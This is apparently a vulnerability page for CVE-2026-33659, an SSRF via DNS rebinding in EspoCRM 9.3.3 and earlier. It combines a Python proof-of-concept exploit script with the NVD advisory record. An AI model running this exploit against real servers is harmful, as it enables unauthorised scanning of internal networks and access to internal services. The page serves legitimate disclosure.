CVE-2026-33659

import requests # CVE-2026-33659 PoC - EspoCRM SSRF via DNS Rebinding # Target configuration target_url = "http://target-espocrm-url/api/v1/Attachment/fromImageUrl" attacker_cookie = "your_authenticated_session_id" # Malicious URL pointing to a domain controlled by the attacker # The attacker's DNS server should return a safe IP on first lookup (validation) # and an internal IP (e.g., 127.0.0.1 or 192.168.x.x) on second lookup (request) malicious_url = "http://attacker-controlled-dns-rebinding-domain.com" payload = { "url": malicious_url } headers = { "Cookie": f"EspoCRM-ID={attacker_cookie}", "Content-Type": "application/json" } try: # Send the malicious request to the vulnerable endpoint response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for signs of internal interaction.") print(f"[+] Response Body: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-33659", "sourceIdentifier": "[email protected]", "published": "2026-04-13T21:16:24.760", "lastModified": "2026-04-22T00:07:49.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EspoCRM is an open source customer relationship management application. In versions 9.3.3 and below, the POST /api/v1/Attachment/fromImageUrl endpoint is vulnerable to Server-Side Request Forgery (SSRF) via a DNS rebinding (TOCTOU) condition. Host validation uses dns_get_record() but the actual HTTP request resolves hostnames through curl's internal resolver (gethostbyname()), allowing the two lookups to return different IP addresses for the same hostname. A secondary issue exists where an empty DNS result (due to DNS failure, IPv6-only domains, or non-existent hostnames) causes the validation to implicitly allow the host without further checks. An authenticated attacker with default attachment creation access can exploit this gap to bypass internal IP restrictions and scan internal network ports, confirm the existence of internal hosts, and interact with internal HTTP-based services, though data extraction from binary protocol services and remote code execution are not possible through this endpoint. This issue has been fixed in version 9.3.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.3.4", "matchCriteriaId": "C81517CA-6567-41DC-A0A9-309FFD7B48E8"}]}]}], "references": [{"url": "https://github.com/espocrm/espocrm/commit/dca03cc3458e487362c26c746378a2d4de9990b1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espocrm/espocrm/releases/tag/9.3.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-6m4j-fwrx-crh7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-6m4j-fwrx-crh7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}